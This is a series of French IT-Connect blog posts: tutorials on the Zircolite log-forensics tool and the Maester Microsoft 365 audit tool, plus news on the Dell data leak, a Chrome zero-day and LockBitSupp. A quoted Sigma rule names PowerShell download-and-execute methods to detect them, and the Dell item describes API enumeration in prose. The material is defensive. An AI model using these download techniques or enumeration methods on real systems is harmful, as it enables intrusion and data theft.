I. Présentation

Dans cet article, nous allons découvrir Zircolite, un outil d'investigation numérique simple d'utilisation capable de détecter des évènements de sécurité suspects dans différents formats de journaux d'évènements (logs), dont le format .evtx (Windows), les logs Auditd Linux, le format JSON, etc.

Cet outil peut être utilisé lors d'une suspicion d'intrusion sur un composant du système d'information, lors d'un contrôle de routine (threat hunting) sur les journaux ou lors d'une investigation numérique en bonne et due forme. L'intérêt de Zircolite est qu'il est standalone, il ne nécessite pas de serveur web ou base de donnée. Il peut être exécuté sur n'importe quel système Linux munit de Python3, ou sous Windows en tant que simple exécutable. Également, il est très simple d'utilisation et repose sur un standard pour la détection des évènements suspects : les règles Sigma.

II. Détection, investigation numérique et règles Sigma

A. Sigma : règles de détection pour les journaux d'évènements

À l'instar des règles Yara (pour les fichiers) et des règles Snort (pour les trames réseaux), les règles Sigma sont un format unifié de règles de détection orienté sur les journaux d'évènements. Ce format propose une manière uniforme de définition d'un évènement de sécurité à rechercher dans les journaux à l'aide de conditions qui seront utilisées comme critères de recherche et de catégorisation d'un évènement.

Les règles Sigma sont donc prises en compte par un grand nombre d'outils et disposent d'un autre avantage très important : la conversion.

L'écosystème des règles Sigma est, en effet, très intéressant, car il intègre des outils capables de convertir les règles Sigma en requêtes ou commandes spécifiques à certains produits. Par exemple, une requête KQL (pour ELK), Splunk, ou même une requête PowerShell en utilisant le cmdlet "Get-WinEvent". Bref, un sujet très intéressant là aussi. Voici un exemple :

$ sigma-cli convert --target splunk --pipeline splunk_windows /opt/sigma/rules/windows/sysmon/sysmon_file_block_executable.yml
Parsing Sigma rules [####################################] 100%
source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=27

Je viens de convertir la règle de détection Sigma "sysmon_file_block_executable.yml" en requête Splunk. Dans les faits, Zircolite utilise activement cette possibilité afin de convertir les évènements et les règles de recherche au format SQL/SQLite :

L'occasion ici de rappeler l'importance des journaux d'évènements, tant dans leur configuration, journaliser les bons évènements, notamment ceux de sécurité, que dans leur centralisation/externalisation : ne pas laisser les journaux sur le système qui les a générés, en faire une copie, une sauvegarde, dans un endroit sûr. En cas d'attaque, une équipe d'investigation numérique ou de remédiation aura du mal à vous aider si les journaux permettant de retracer le dérouler d'une cyberattaque ne sont pas complets et à disposition, voire n'ont jamais été produits.

Pour en apprendre plus, je vous recommande notre article sur le sujet de la centralisation des logs :

• Centralisation des logs, un outil pour la sécurité

B. Exemple de règle SIGMA

Pour l'exemple, voici une règle Sigma issue du Github SigmaHQ/Sigma, l'une des places centrales de la collaboration autour des règles de détection Sigma :

title: Suspicious PowerShell Download
id: 3236fcd0-b7e3-4433-b4f8-86ad61a9af2d
related:
  - id: 65531a81-a694-4e31-ae04-f8ba5bc33759
type: derived
status: test
description: Detects suspicious PowerShell download command
references:
  - https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html
author: Florian Roth (Nextron Systems)
date: 2017/03/05
modified: 2023/10/27
tags:
  - attack.execution
  - attack.t1059.001
logsource:
  product: windows
  category: ps_classic_start
detection:
  selection_webclient:
    Data|contains: 'Net.WebClient'
  selection_download:
    Data|contains:
      - '.DownloadFile('
      - '.DownloadString('
  condition: all of selection_*
falsepositives:
  - PowerShell scripts that download content from the Internet
level: medium

Une explication détaillée des règles Sigma, de leur fonctionnement et de leur utilisation pourrait faire l'objet d'un cours entier, mais nous pouvons au moins nous intéresser aux points suivants :

logsource:
  product: windows
  category: ps_classic_start

Ces instructions permettent de spécifier dans quel type de logs, nous allons chercher notre information, ici pour les produits Windows et la catégorie "ps_classic_start", c'est-à-dire les journaux PowerShell. Une liste complète des logsource et catégories utilisables peut être trouvées sur la documentation officielle Sigma.

Viennent ensuite les conditions de notre recherche :

detection:
  selection_webclient:
    Data|contains: 'Net.WebClient'
  selection_download:
    Data|contains:
      - '.DownloadFile('
      - '.DownloadString('
  condition: all of selection_*

Nous pouvons noter deux conditions ("selection_webclient" et "selection_download") qui doivent toutes deux être remplies ("condition: all of selection_*"). La première indique que le champ "Data" (le contenu de la commande PowerShell analysée) doit contenir "Net.WebClient" et la seconde qu'il doit contenir ".DownloadFile(" ou ".DownloadString('".

Les nombreuses autres instructions de cette règle permettent de spécifier son auteur, son niveau de criticité, d'obtenir des références externes, etc.

Zircolite propose ses propres règles Sigma, mais n'importe quel jeu de règle utilisant ce format peut être utilisé, c'est ce qui fait la grande puissance de l'outil. Vous pouvez retrouver les règles inclus dans Zircolite ici : Github - Zircolite-Rules et localement dans le sous-répertoire d'installation de Zircolite "rules" :

┌──(mdo㉿purple-it-connect)-[/opt/Zircolite]
└─$ ls rules/ -l
total 31172
-rw-r--r-- 1 mdo mdo    2880 Apr  7 10:53 README.md
-rw-r--r-- 1 mdo mdo  155135 Apr  7 10:53 rules_linux.json
-rw-r--r-- 1 mdo mdo 2323097 Apr  7 10:53 rules_windows_generic.json
-rw-r--r-- 1 mdo mdo 3826967 Apr  7 10:53 rules_windows_generic_full.json
-rw-r--r-- 1 mdo mdo 2323097 Apr  7 10:53 rules_windows_generic_high.json
-rw-r--r-- 1 mdo mdo 3617269 Apr  7 10:53 rules_windows_generic_medium.json
-rw-r--r-- 1 mdo mdo 3748878 Apr  7 10:53 rules_windows_generic_pysigma.json
-rw-r--r-- 1 mdo mdo 2329413 Apr  7 10:53 rules_windows_sysmon.json
-rw-r--r-- 1 mdo mdo 3837588 Apr  7 10:53 rules_windows_sysmon_full.json
-rw-r--r-- 1 mdo mdo 2329413 Apr  7 10:53 rules_windows_sysmon_high.json
-rw-r--r-- 1 mdo mdo 3627164 Apr  7 10:53 rules_windows_sysmon_medium.json
-rw-r--r-- 1 mdo mdo 3773777 Apr  7 10:53 rules_windows_sysmon_pysigma.json 

Je vous propose également d'autres sources intéressantes de règles Sigma :

• Les règles Sigma "officielles" de SigmaHQ : Github - SigmaHQ/sigma
• La base de règle de mdecrevoisier : Github - mdecrevoisier/SIGMA-detection-rules

Ces deux sources vous donneront largement de quoi faire, utilisez les notamment pour comprendre le format des règles Sigma et commencer à jouer avec. Gardez en tête cependant que même en utilisant comme base un jeu de règles à jour et éprouvé, les règles les plus efficaces sont celles qui ont été adaptées à votre contexte métier et technique.

Maintenant que nous avons une idée légèrement meilleure de ce que sont les règles Sigma, largement utilisées par les blue teams (équipe de défense et détection) et par Zircolite, passons à l'action.

III. Zircolite : détection d'évènements suspects

A. Installation de Zircolite

Si vous souhaitez utiliser Zircolite depuis un système Windows, il suffit de télécharger l'archive Release du projet et de la décompresser sur votre système :

• Github - Zircolite Release

L'utilisation depuis Windows peut sembler la plus simple si vous souhaitez analyser des journaux Windows. Cependant, Zircolite peut aussi être utilisé en tant que script Python de la même façon. Dès lors, il faut télécharger le code source depuis Github et installer les dépendances Python :

cd /opt
git clone https://github.com/wagga40/Zircolite.git
cd Zircolite
pip install -r requirements.full.txt

Dans le cadre de l'article, je l'installe sur un système Kali Linux Purple, basé sur Debian.

B. Exporter ses logs Windows

Nous sommes prêts à analyser nos journaux d'évènements, mais commençons par les récupérer depuis un système qui nous intéresse. Sur un système Windows, les journaux d'évènements sont nativement stockés dans des fichiers ".evtx". Ceux-ci sont situés dans le répertoire "C:\Windows\System32\winevt\Logs" :

Si l'on souhaite analyser seulement une partie nos journaux, par exemple, d'une date à une autre ou certains évènements ID, nous pouvons effectuer les filtres qui nous intéressent dans l'Observateur d'évènements, puis exporter le résultat. Il faut pour cela se positionner dans le journal à exporter, puis cliquer sur "Enregistrer tous les évènements sous…" dans le panneau droit :

Il est également possible d'exporter les journaux d'évènements dans un fichier ".evtx" via la ligne de commande grâce à l'utilitaire "wevtutil.exe", présent nativement sous Windows. Voici un exemple pour exporter le journal "Sécurité" :

wevtutil export-log Security Z:\Security.evtx

Dans ces deux derniers cas, nous aurons en résultat un fichier ".evtx" à analyser.

Si vous ne souhaitez pas analyser vos propres journaux Windows ou que vous n'en avez pas sous la main, pas de panique. Voici une source qui propose des journaux Windows contenant des évènements de sécurité, des traces d'attaques, etc. :

• Github - EVTX-ATTACK-SAMPLES

Enfin, certains challenges Sherlocks de Hack The Box proposent également des fichiers ".evtx" contenant des traces de cyberattaque. Il s'agit là aussi d'un très bon moyen de s’entraîner.

C. Analyse les logs Windows avec Zircolite

Maintenant que nous avons tout à notre disposition, nous pouvons utiliser Zircolite pour mener une analyse sur ces journaux à l'aide de règles de détection Sigma :

python3 zircolite.py --evtx XXXX.evtx

Sous Windows, le format de la commande est le même :

Z:\zircolite_win> .\zircolite_win_x64_2.20.0.exe --evtx Z:\Windows_SecurityLog.evtx

Il est possible de fournir en entrée à Zircolite un fichier ".evtx," ou un dossier complet contenant un ensemble de fichiers ".evtx". Par exemple, si vous ne savez pas très bien où et quoi chercher et que vous avez copié tout le contenu du répertoire "C:\Windows\System32\winevt\Logs" :

python3 zircolite.py --evtx monRepertoire\

Voici le résultat obtenu lors de l'exécution de Zircolite sous Linux :

Zircolite nous indique ici dans un premier temps le jeu de règles Sigma qu'il va utiliser ("rules/rules_windows_generic_py_sigma.json"). Puis, il va analyser les journaux d'évènements fournit en entrées avec ces règles Sigma et nous afficher les évènements découverts, leur sévérité (High, Medium, Low), et leur nombre d’occurrences.

Parmi les éléments notables de l'exemple ci-dessus, on peut noter l'utilisation de "mimikatz", la réalisation d'une attaque DCSync, une opération de suppression des journaux d'évènements... Pas de doute ici, un attaquant est passé par là !

Si l'on souhaite utiliser un autre jeu de règles (des règles personnalisées par exemple), il est possible de le spécifier avec l'option "-r" :

python3 zircolite.py --evtx /tmp/EVTX-ATTACK-SAMPLES/Persistence/ -r /opt/Zircolite/rules/rules_windows_sysmon_full.json

Ce second jeu de règle utilisé me remonte par exemple 155 évènement suspects contre 47 avec le jeu de règle "par défaut". Une différence assez nette qui montre l'importance de disposer d'un jeu de règles complet et adapté à son contexte et aux évènements recherchés.

Vous remarquerez ici que j'ai utilisé les règles Sigma spécifiques aux évènements Sysmon, je vous invite à consulter notre article dédié pour en savoir plus sur ce qu'est Sysmon et son apport en termes de sécurité :

• Windows - Utilisation de Sysmon pour tracer les activités malveillantes

L'avant-dernière ligne nous indique qu'un fichier de sortie au format JSON a été créé : "detected_events.json". Ce fichier au format JSON est intéressant si l'on souhaite aller plus loin dans l'investigation des évènements découverts :

Le contenu de cette sortie contient de nombreux détails techniques qui permettent d'en savoir plus sur les évènements suspects. Tous ne peuvent être affichés dans la sortie terminale de Zircolite pour des raisons de lisibilité. Dans ce fichier, vous n'aurez donc que des évènements suspects qui méritent une investigation. Zircolite a fait le tri parmi vos milliers de journaux pour n'en sortir que les évènements suspects d'après un ensemble de règle de détection Sigma.

Si vous n'êtes pas familier de la cybersécurité, l'élément principal sur lequel vous pourrez vous baser pour mieux comprendre les évènements suspectés relevés et les règles de détection sont le contenu des champs "references" (souvent des liens vers des blogposts) et les "tags". Ce dernier champ utilise les identifiants TTP du framework MITRE ATT&CK qui contient beaucoup d'informations sur les différents types d'attaques et modes opératoires des attaquants.

N'hésitez pas à utiliser un moteur de recherche ou le site du framework MITRE ATT&CK pour en apprendre plus sur une attaque identifiée par son TTP. Par exemple T1548 - Abuse Elevation Control Mechanism.

Il est aussi possible de ne s'intéresser qu'aux journaux d'évènements au-delà ("--after" ou "-A") ou avant ("--before" ou "-B") une certaine date, ce qui permet de filtrer ces derniers et d'améliorer les performances de recherche :

python3 zircolite.py --evtx /tmp/EVTX-ATTACK-SAMPLES/ -r /opt/Zircolite/rules/rules_windows_sysmon_full.json -A 2019-05-11T17:58:00 -B 2021-06-02T23:00:00

Le format à respecter pour spécifier une date est le suivant "<AAA-MM-DD>T<HH:MM:SS>", le "T" étant une valeur fixe. C'est notamment utile lorsque nous disposons de premières informations temporelles nous permettant d'orienter nos recherches.

D. Traiter la sortie JSON de Zircolite

Le format JSON étant un standard pris en charge par de nombreux outils, cela permet de faciliter la lecture et le traitement de ces données. Pour une utilisation et investigation immédiate sur ces évènements, nous pouvons, par exemple, utiliser la commande "jq", qui permet de parser, trier et filtrer les données JSON :

• Lister tous les évènements suspects, les tags associés (TTP), ainsi que l'heure et l'hôte pour chaque occurrence :

jq '.[] | {title: .title, tags: .tags, matches: [.matches[] | {Time:.UtcTime, Computer:.Computer}]}' /tmp/zircolite_persistence.json

Voici un résultat possible de ce filtre "jq" :

• Obtenir tous les évènements qui concernent un système précis :

jq '.[] | {title: .title, tags: .tags, matches: [.matches[] | select( .Computer == "PC01.example.corp")]}' /tmp/zircolite_persistence.json

• Afficher les évènements avec un tri par date, pour tenter d'établir un séquençage des évènements :

jq '[.[].matches[]] | sort_by(.SystemTime) ' /tmp/zircolite_persistence.json

• Même chose avec un filtre sur le nom d'un système précis :

jq '[.[].matches[]| select( .Computer == "PC01.example.corp")] | sort_by(.SystemTime)' /tmp/zircolite_persistence.json

Cette dernière commande est la plus parlante, puisque l'on commence à avoir un ordonnancement dans le temps des évènements suspects sur un système précis. Comme vous le voyez, connaître les subtilités du format JSON et manier "jq" est nécessaire ici. Sachez également que Zircolite peut directement envoyer les journaux obtenus par son analyse à différents composants comme un serveur Splunk ou ELK.

III. Utiliser le rapport web de Zircolite

Un dernier point important qu'il faut mentionner lorsque l'on parle de Zircolite est son interface web (autonome, elle aussi). Celle-ci peut être générée pour chaque analyse et contient une présentation graphique des évènements de sécurité relevés. Pour générer ce rapport au format web, il faut utiliser l'option "--package" :

python3 zircolite.py --evtx /tmp/EVTX-ATTACK-SAMPLES/ -r /opt/Zircolite/rules/rules_windows_sysmon_full.json --package
[...]
[+] Results written in : detected_events.json
[+] Generating ZircoGui package to : zircogui-output-6QYQ.zip
[+] Cleaning 

Zircolite crée alors une archive contenant des fichiers .css, .js, et .html, qu'il faut décompresser :

unzip zircogui-output-6QYQ.zip -d /tmp/Z1
firefox /tmp/Z1/index.html

Dès lors, la page web peut-être ouverte avec n'importe quel navigateur. La première vue que nous obtenons est une synthèse des évènements suspects identifiés par Zircolite dans les journaux analysés. On y trouve notamment une catégorisation de ces évènements basée sur le framework MITRE ATT&CK et par niveau de criticité :

Plus bas dans cette même page, nous pouvons obtenir une timeline des évènements relevés. Cette vue est très intéressante pour obtenir rapidement une vue d'ensemble de l'attaque (si l'on dispose de tous les journaux et des bonnes règles Sigma bien sûr) :

Chaque évènement est positionné dans le temps par rapport aux autres (grâce à l'horodatage de chacun) et catégorisé en fonction de sa typologie avec les catégories du framework MITRE ATT&CK.

Dans le cadre d'une investigation numérique, l'établissement d'une timeline de l'attaque est l'un des objectifs principaux de l'équipe forensic. L'idée de pouvoir identifier très rapidement le séquençage des évènements pour mieux comprendre l'objectif de l'attaquant et son mode opératoire, ce qui permet de prendre les bonnes décisions concernant la suite des évènements.

Nous pouvons alors sélectionner n'importe lequel de ces évènements pour avoir des informations plus précises sur celui-ci (cliquez sur l'image pour zoomer) :

Ce tableau contient de nombreuses colonnes et vous avez la possibilité de les étudier en utilisant la barre de défilement horizontale. Ces colonnes contiennent l'ensemble des informations de l'évènement sélectionné et initialement stocké dans le fichier ".evtx". Il s'agit des mêmes informations que celles présentes dans le fichier JSON étudié précédemment, mais affichées de manière plus lisible dans une page web (cliquez sur l'image pour zoomer) :

Cette simple vue nous permet, par exemple, de savoir que le processus "MSSQL" a exécuté un script via "cmd.exe" avec les droits de l'utilisateur "sqlsvc" sur le poste "MSEDGEWIN10". Cette vue par tableau permet également d'effectuer de nombreux filtres, à l'instar de ce que nous avons fait via "jq" sur le fichier JSON généré par Zircolite.

Le dernier élément notable de ce rapport web est la matrice du framework MITRE ATT&CK, qui montre tous les TTP détectés dans l'ensemble de journaux fournis en entrées (cliquez sur l'image pour zoomer) :

Là aussi, cette vue d'ensemble aide à se faire très rapidement une idée de la portée de l'attaque et des différentes opérations de l'attaquant sur les systèmes concernés.

IV. Conclusion

Dans cet article, nous avons fait le tour de Zircolite au travers des cas concrets sur des journaux d'évènements Windows. Nous avons notamment vu que Zircolite peut être utilisé de façon très simple en ligne de commande afin d'identifier des évènements suspects, d'étudier les détails de ces évènements et d'offrir une vue d'ensemble avec timeline d'une cyberattaque.

Il reste naturellement beaucoup de choses à découvrir au sujet de l'investigation numérique (forensic), des règles Sigma et de Zircolite. Néanmoins, le contenu de l'article devrait vous donner les bases de son utilisation, utiles pour l'étudier plus en profondeur et l'utiliser quotidiennement ou occasionnellement. Également, n'oubliez pas que Zircolite permet de traiter d'autres formats de journaux comme les journaux Sysmon for Linux, auditd, JSON, JSONL, etc... Même si cela n'a pas été traité dans l'article.

Au-delà de l'outil, cet article a permis de rappeler un grand nombre d'éléments concernant la sécurité d'un système unique ou de tout un système d'information : le durcissement des configurations pour permettre la journalisation des évènements importants de sécurité, la sauvegarde et centralisation de ces évènements, la capacité à pouvoir intervenir rapidement suite à une cyberattaque et commencer les premières investigations, etc.

N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord !

The post Comment effectuer une investigation numérique sur les journaux d’évènements Windows avec Zircolite ? first appeared on IT-Connect.

Dell a envoyé un e-mail à ses clients pour les avertir d'une fuite de données : un pirate est parvenu à voler les informations de 49 millions de clients. Voici ce qu'il faut savoir !

Il y a quelques jours, Dell a alerté ses clients qu'un tiers non autorisé était parvenu à accéder et à exfiltrer les informations personnelles de 49 millions de clients. Par l'intermédiaire de ce portail Dell, le pirate est parvenu à accéder aux informations suivantes : nom, adresse physique et des données sur le matériel Dell. En effet, pour chaque client, il y a un récapitulatif des commandes Dell, avec le nom du produit, la date de la commande, les détails sur la garantie ou encore le Service Tag de chaque produit, c'est-à-dire le numéro de série.

Cette notification envoyée par e-mail fait suite à l'annonce publiée sur Breach Forums le 28 avril dernier, par un cybercriminel surnommé Menelik. C'est à cette date qu'il a mis en vente la base de données avec les clients de Dell. D'après lui, il s'agit d'informations correspondantes aux clients Dell entre 2017 et 2024. Voici un aperçu de cette annonce :

L'origine de cette fuite de données

Les journalistes du site BleepingComputer sont parvenus à échanger avec Menelik, le cybercriminel à l'origine de cette fuite de données. Il a indiqué qu'il avait découvert et utilisé un portail Dell dédié aux partenaires et aux revendeurs pour accéder aux données.

Pour obtenir un accès à ce portail, il a créé plusieurs comptes avec des noms d'entreprises fictifs et il a eu accès dans les 48 heures. D'après lui, il suffit de compléter un formulaire et de patienter que la demande soit approuvée. Ce qui interroge sur le processus de vérification de Dell...

Il a créé un programme pour générer des codes Service Tag sur 7 caractères afin de pouvoir interroger le portail par l'intermédiaire de l'API. Résultat, il a pu récolter les informations de 49 millions de clients en générant 5 000 requêtes par minute pendant trois semaines. Dell n'a jamais bloqué les tentatives effectuées via l'API.

Il a également notifié Dell pour avertir l'entreprise américaine de la présence de cette vulnérabilité dans son système. Néanmoins, l'entreprise américaine n'a pas répondu. D'ailleurs, Dell a indiqué avoir détecté cet incident de sécurité avant de recevoir l'e-mail de Menelik. Une enquête judiciaire serait ouverte pour mener des investigations et tenter d'identifier l'auteur.

Source

The post Fuite de données Dell : un pirate est parvenu à voler les informations de 49 millions de clients ! first appeared on IT-Connect.

Google a mis en ligne une nouvelle mise à jour de sécurité pour son navigateur Chrome dans le but de protéger les utilisateurs de la vulnérabilité CVE-2024-4671. Il s'agit de la 5ème faille de sécurité zero-day exploitée dans le cadre d'attaques patchée depuis le début de l'année 2024 dans Google Chrome.

Associée à la référence CVE-2024-4671, cette vulnérabilité de type "use after free" est présente dans le composant Visuals de Google Chrome. Ce composant est utilisé pour le rendu et l'affichage du contenu au sein des onglets et fenêtres de Google Chrome.

Reporté à Google le 07 mai 2024 par un utilisateur anonyme, Google a corrigé cette faille de sécurité déjà exploitée et pour laquelle il existerait déjà un exploit : "Google sait qu'il existe un programme d'exploitation pour CVE-2024-4671 dans la nature.", peut-on lire dans le bulletin de sécurité de l'entreprise américaine. Comme à son habitude, et dans le but de protéger ses utilisateurs, Google n'a pas fourni d'autres précisions ni détails techniques.

Cette vulnérabilité de type "use after free" est liée à l'utilisation de la mémoire par le programme. Même s'il ne s'agit que d'hypothèses, cette vulnérabilité pourrait permettre une exécution de code à distance, une fuite d'informations ou un déni de service.

Comment se protéger de la CVE-2024-4671 ?

Les utilisateurs de Google Chrome sur Windows, macOS et Linux sont affectés par cette faille de sécurité. Google a mis en ligne les versions 124.0.6367.201/.202 pour Mac et Windows, ainsi que la version 124.0.6367.201 pour Linux. Ces versions sont disponibles depuis le 9 mai 2024.

Désormais, il ne vous reste plus qu'à effectuer la mise à jour du navigateur Chrome sur votre machine. Rendez-vous dans le menu avec les trois points verticaux, puis sous "Aide", cliquez sur "A propos de Google Chrome".

En 2024, c'est la 5ème faille de sécurité zero-day corrigée par Google dans son navigateur. La précédente a été découverte et exploitée à l'occasion de la compétition de hacking Pwn2Own 2024, comme nous l'évoquions dans cet article publié sur notre site.

Source

The post CVE-2024-4671 – La cinquième faille zero-day de 2024 corrigée dans Google Chrome ! first appeared on IT-Connect.

Dell informe ses clients d'une fuite de données, tandis qu'un pirate affirme détenir les informations de 49 millions de clients de l'entreprise.

Dell informe ses clients d'une fuite de données, tandis qu'un pirate affirme détenir les informations de 49 millions de clients de l'entreprise.

Information cruciale dans la lutte contre le cybercrime : les autorités ont dévoilé l'identité de LockBitSupp, l'un des leaders du gang de cybercriminels LockBit ! Voici ce que l'on sait !

Ce lundi 6 mai 2024, les autorités avaient mis en ligne un compte à rebours pour indiquer que le 7 mai 2024 à 14:00 UTC, ils dévoileraient l'identité de LockBitSupp. Nous en parlions dans un précédent article intitulé "Opération Cronos : les autorités sur le point de révéler l'identité des membres de LockBit ?".

Par l'intermédiaire d'un communiqué, le FBI, l’Agence Nationale du Crime du Royaume-Uni et Europol ont révélé l'identité de celui qui se cache derrière le pseudo de LockBitSupp : Dmitry Khoroshev, un ressortissant russe, qui est l'un des leaders du gang de ransomware LockBit. Il n'a pas de pull à capuche, et pourtant, c'est bien lui le cybercriminel le plus recherché au monde.

"Khoroshev, alias LockBitSupp, qui vivait dans l'anonymat et offrait une récompense de 10 millions de dollars à quiconque révélerait son identité, fera désormais l'objet d'une série de mesures de gel des avoirs et d'interdiction de voyager.", peut-on lire sur le site de la NCA. C'est également le montant promis en guise de récompense à celui ou celle qui fournira des informations nécessaires permettant d'arrêter LockBitSupp. Une véritable chasse à l'homme est lancée.

Ces dernières semaines, le gang de ransomware LockBit avait décidé de faire son retour et de frapper fort. Ils sont notamment à l'origine de la cyberattaque ayant frappée l'Hôpital Simone Veil de Cannes. Il y aurait également plusieurs dizaines de victimes, dont l'Agence des Espaces Verts d’Île-de-France, la commune de Bouchemaine dans le département de Maine-et-Loire ou encore l’Université Québécoise de Sherbrooke, d'après un article publié par le site Zataz.

Cette annonce des forces de l'ordre devrait perturber sérieusement l'activité du gang de ransomware et mettre une pression maximale sur LockBitSupp et ses fidèles.

LockBit : quelques chiffres clés sur les affiliés

Au sein de son article, la National Crime Agency a donné quelques chiffres clés sur l'activité autour du ransomware LockBit et de ses affiliés. En effet, LockBit fournit ce que l'on appelle un ransomware-as-a-service (RaaS) : les pirates, appelés affiliés, paient et en contrepartie, ils peuvent bénéficier des outils et de l'infrastructure permettant de réaliser des attaques.

L'article précise ceci : "Sur les 194 affiliés identifiés comme utilisant les services de LockBit jusqu'en février 2024 :

• 148 ont élaboré des attaques.
• 119 ont entamé des négociations avec les victimes, ce qui signifie qu'ils ont définitivement déployé des attaques.
• Sur les 119 qui ont entamé des négociations, 39 semblent n'avoir jamais reçu de paiement de rançon.
• 75 n'ont pas entamé de négociations et ne semblent donc pas avoir reçu de paiement de rançon."

Ceci est intéressant, et signifie que des affiliés paient LockBit mais n'exploitent pas le service de Ransomware-as-a-service.

Source

The post Les autorités révèlent l’identité de LockBitSupp, le cybercriminel le plus recherché au monde ! first appeared on IT-Connect.

I.  Présentation

Maester est un projet communautaire créé en avril 2024 par Merill Fernando, chef de produit chez Microsoft et deux MVP Security Fabian Bader et Thomas Naunheim. C’est un outil PowerShell conçu pour vous aider à comprendre la configuration de votre tenant Microsoft 365.

Il vous permet d’avoir une vision de votre configuration par rapport aux bonnes pratiques de sécurité, et ainsi, surveiller la posture de sécurité de votre tenant Microsoft 365. Cet outil fournit un rapport, mais ne réalise aucune action de correction.

À l’heure actuelle, l’outil contient 92 vérifications de sécurité, toutes concentrées sur la partie Microsoft Entra. Ces vérifications proviennent de plusieurs sources :

• de l’équipe Maester
• du guide de sécurité SCubA par le CISA
• du guide Entra ID Security Config Analyzer (EIDSCA) de Cloud-Architekt

Maester réalise plusieurs vérifications de sécurité, incluant :

• Droits administrateurs (limiter le nombre d’utilisateur avec le rôle administrateurs global, utilisation de PIM)
• Les méthodes d'authentification, comme la configuration multi-facteur et FIDO2.
• La gestion des applications, incluant les permissions de création et le consentement OAuth.
• Les paramètres de mots de passe et les politiques de verrouillage des comptes.
• Les accès conditionnels, vérifiant l'exclusion de comptes de secours et la présence de stratégies répondant aux bonnes pratiques.

Avant de rentrer dans le vif du sujet, voici le lien vers le site officiel du projet :

• Site officiel de Maester

II. Installation et utilisation de Maester

A. Fonctionnement

Maester utilise l'API Microsoft Graph pour accéder aux informations de votre tenant Microsoft 365. Cet outil vérifie la conformité de votre configuration par rapport aux bonnes pratiques de sécurité. L’originalité de cet outil réside dans l’utilisation de Pester pour vérifier cette conformité.

Pester est un module PowerShell conçu pour les tests unitaires. Bien qu’il soit souvent utilisé pour valider des scripts ou des fonctions, son mode de fonctionnement permet à chacun d’écrire ses propres tests unitaires.

Dans le cas de Maester, Pester est employé pour s'assurer que la configuration de votre tenant Microsoft 365 correspond aux critères définis dans des fichiers. Ces fichiers, appelés fichiers de tests dans la suite de l’article, permettent de réaliser des vérifications sur la conformité de votre configuration. L’appellation tests provient du fait que Pester suit une nomenclature stricte concernant les fichiers qu’ils utilisent : xxxx.Tests.ps1.

Cela permet ainsi une vérification rigoureuse et continue de la sécurité d’un tenant.

Il est important de comprendre que Maester, utilisant Pester, ne fournit pas de valeurs directes de votre tenant, mais indique plutôt si vos configurations respectent les normes établies dans les fichiers Tests.

Par exemple, au lieu de spécifier le nombre d'administrateurs globaux, Maester vous informera si la configuration est conforme aux bonnes pratiques définies dans les tests. Cette méthode peut représenter une nouvelle approche pour certains qu’il est essentiel de comprendre.

B. Installation

Maester est publié dans la PowerShell Gallery, son installation peut être réalisée en seulement deux Cmdlets :

Install-Module Pester -SkipPublisherCheck -Force -Scope CurrentUser
Install-Module Maester -Scope CurrentUser

Sur votre PC, il faut ensuite créer un dossier et installer les fichiers de tests. Dans notre cas, nous installerons les fichiers Tests dans "C:\temp", mais tout autre chemin fonctionnera.

cd c:\temp
mkdir maester-tests
cd maester-tests
Install-MaesterTests .\tests

Les fichiers de tests sont installés dans C:\Temp\maester-tests\tests.

C. Utilisation

Dans un premier temps, il faut se connecter :

Connect-Maester

Comme indiqué plus haut, Maester s’appuie sur Microsoft Graph. Si vous n’avez pas les autorisations requises, il faudra autoriser les autorisations OAuth pour l’application Microsoft Graph Command Line Tools.

Ensuite, vous pouvez exécuter les tests :

Invoke-Maester

À la fin de l'exécution des tests par Maester, un bref résumé est affiché dans la console.

Ce résumé indique les résultats des tests avec le nombre de tests réussis, échoués ou ignorés, fournissant ainsi un aperçu rapide de l'état de la configuration de sécurité de votre tenant Microsoft 365.

Un fichier de rapport HTML est aussi créé, il est stocké dans le dossier "tests-results" et s’ouvre automatiquement dans votre navigateur :

Un élément en "Passed" indique que la configuration de votre tenant respecte le test en question.

Un élément en "Failed" indique que la configuration de votre tenant ne respecte le test. Cependant, selon les contraintes de votre entreprise, il convient de statuer si c’est un réel problème, ou bien un risque accepté.

Pour chaque élément du rapport, vous retrouverez :

• L’identifiant
• L’URL vers la documentation Maester concernant ce test
• Le résultat du test
• Les détails du test qui contiennent les actions à réaliser pour passer ce test
• Les catégories
• Les tags
• La source du fichier de test Pester

Pour la majorité des tests, il est évident de comprendre pourquoi un test échoue, comme une fonctionnalité non activée ou un nombre excessif d'utilisateurs non conformes.

Cependant, il peut être plus complexe de déterminer la cause d'un échec dans certains cas, où le problème pourrait ne pas résider dans la non-conformité, mais plutôt dans un bug au sein du code PowerShell du test lui-même. Dans ces situations, il sera nécessaire d'examiner en détail les fichiers "*.Tests.ps1" pour identifier et résoudre l'erreur.

D. Création de ses propres tests

Le gros intérêt de Maester est que ce n’est qu’un framework, c’est-à-dire qu’il peut être étendu pour correspondre à vos besoins avec des tests personnalisé.

Pour créer un test personnalisé dans Maester, vous devez suivre une certaine structure. Par exemple, nous allons créer un test pour vérifier qu'un groupe contient exactement deux membres.

Pour cela, créez un fichier nommé "Test-CustomITConnect.Tests.ps1" dans le répertoire "<chemin>\maester-tests\Custom". Pester recherche les fichiers se terminant par ".Tests.ps1" pour les exécuter comme des tests.

Dans notre cas, nous créons un fichier" Test-CustomITConnect.Tests.ps1" dans "C:\temp\maester-tests".

Pour le contenu du fichier "Test-CustomITConnect.Tests.ps1", nous devons suivre la syntaxe Pester, ce qui donne :

Describe "Test-MyGroupMembership" -Tag "Group" {
    It "Check 'MyGroup1' Members" {

        $groupID = "cc831d2a-6e92-4988-903c-1799de3a9aa1"
        $members = Get-MgGroupMember -GroupId $groupID

        # Test if the group has exactly 2 members
        $members.Count | Should -BeExactly 2
    }
}

Il est alors possible d’exécuter Maester avec uniquement notre test :

cd c:\temp\maester-test
Invoke-Maester .\tests\Custom\

Le rapport contient uniquement notre test personnalisé.

À noter qu’il est aussi possible de simplement exécuter "Invoke-Maester", pour exécuter tous les tests, y compris les tests personnalisés.

E. Exécution régulière

Maester peut être configuré pour surveiller en permanence la configuration de votre tenant à l'aide de service DevOps comme Azure DevOps Pipeline, GitHub Actions et Azure Automation.

Avec ces solutions, il est possible de recevoir un e-mail régulier avec les informations concernant la sécurité du tenant.

La configuration de cette automatisation n’est pas détaillée dans cet article, mais vous pouvez retrouver toutes les informations dans la documentation de Maester.

